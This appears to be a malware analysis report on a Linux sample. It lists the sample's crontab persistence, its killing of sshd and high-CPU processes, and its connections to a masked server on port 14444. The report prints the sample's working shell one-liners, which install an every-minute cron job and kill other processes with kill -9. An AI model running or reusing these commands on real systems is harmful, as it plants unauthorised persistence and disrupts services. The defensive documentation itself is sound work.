Technical Information
To ensure autorun and distribution:
Creates or modifies the following files:
- /var/spool/cron/crontabs/root
Malicious functions:
Launches itself as a daemon
Launches processes:
- sh -c if [ `id -u` -eq '0' ]; then ps aux | grep -v grep | grep -v -- '-bash[[:space:]]*$' | grep -v /usr/sbin/httpd | awk '{if($3>30.0) print $2}' | while read procid; do kill -9 $procid 2>/dev/null; done else ps -u `whoami` ux | grep -v grep | grep -v -- '-bash[[:space:]]*$' | grep -v /usr/sbin/httpd | awk '{if($3>30.0) print $2}' | while read procid; do kill -9 $procid 2>/dev/null; done fi
- id -u
- ps aux
- grep -v grep
- grep -v -- -bash[[:space:]]*$
- grep -v /usr/sbin/httpd
- awk {if($3>30.0) print $2}
- sh -c dir=`pwd`;rm -rf $dir/.cron;crontab -l 2>/dev/null | grep -v grep | grep -v '<SAMPLE_FULL_PATH>' > .cron;echo '* * * * * '$dir/'<SAMPLE_FULL_PATH>' >> .cron; if [ $(crontab -l 2>/dev/null | grep -v grep | grep '<SAMPLE_FULL_PATH>$' | sort | uniq | wc -l) -eq '0' ]; then crontab $dir/.cron 2>/dev/null; fi;rm -rf $dir/.cron
- rm -rf /root/.cron
- crontab -l
- grep -v <SAMPLE_FULL_PATH>
- grep <SAMPLE_FULL_PATH>$
- sort
- uniq
- wc -l
- crontab /root/.cron
- sh -c if [ `id -u` -eq '0' ]; then if [ `ps aux | grep -v grep | grep -- '-bash[[:space:]]*$' | awk '{if($3>30.0) print $2}' | wc -l` -gt 1 ]; then ps aux | grep -v grep | grep -- '-bash[[:space:]]*$' | awk '{if($3>30.0) print $2}' | while read procid; do kill -9 $procid 2>/dev/null; done fi else myid=`whoami`; if [ `ps -u $myid ux | grep -v grep | grep -- '-bash[[:space:]]*$' | awk '{if($3>30.0) print $2}' | wc -l` -gt 1 ]; then ps -u $myid ux | grep -v grep | grep -- '-bash[[:space:]]*$' | awk '{if($3>30.0) print $2}' | while read procid; do kill -9 $procid 2>/dev/null; done fi fi
- grep -- -bash[[:space:]]*$
Kills system processes:
- sshd
Kills the following processes:
- /bin/ps
Performs operations with the file system:
Modifies file access rights:
- /var/spool/cron/crontabs/tmp.Eg9UU8
Creates or modifies files:
- /root/.cron
- /var/spool/cron/.cron
- /var/spool/cron/crontabs/tmp.Eg9UU8
- /tmp/.lock
Deletes files:
- /root/.cron
Network activity:
Establishes connection:
- 51.##.54.102:14444
Sends data to the following servers:
- 51.##.54.102:14444
Receives data from the following servers:
- 51.##.54.102:14444
Other:
Collects CPU information
Collects RAM information
Collects information about network activity
